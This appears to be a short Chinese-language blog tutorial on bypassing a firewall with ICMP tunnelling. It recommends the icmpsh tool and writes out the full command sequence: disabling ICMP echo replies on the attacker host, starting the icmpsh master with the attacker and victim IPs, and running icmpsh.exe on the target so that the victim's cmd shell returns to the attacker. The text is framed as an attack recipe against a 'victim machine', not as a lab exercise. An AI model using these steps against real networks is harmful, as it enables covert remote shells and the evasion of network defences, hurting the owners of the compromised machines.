icmp隧道绕过防火墙

当有防火墙只允许80、443等常见端口或常见的数据包协议的时候,其他类型的数据包和不允许访问的端口就会被过滤。

icmp隧道就是将不被允许的数据包使用icmp协议进行封装。同理可得,除了icmp隧道,还可以使用其他类型的协议,例如IPv6、TCP、UDP等等。

https://github.com/inquisb/icmpsh
这是一个使用icmp隧道的工具,可以将内网机器与攻击机进行连接。

1
2
3
4
5
6
7
在攻击机上运行该命令,关闭icmp请求应答
sysctl -w net/ipv4/icmp_echo_ignore_all=1
---

git clone https://github.com/inquisb/icmpsh
cd icmpsh
python icmpsh_m.py 攻击机IP 受害机器ip

在目标机器上运行以下命令
icmpsh.exe -t 攻击机ip -d 500 -b 30 -s 128

此时攻击机就会返回受害机器的cmd shell。

icmpsh缺点是只能运行在目标机器是windows的系统上。如果目标机器是linux系统,那么就要用其他办法绕过防火墙。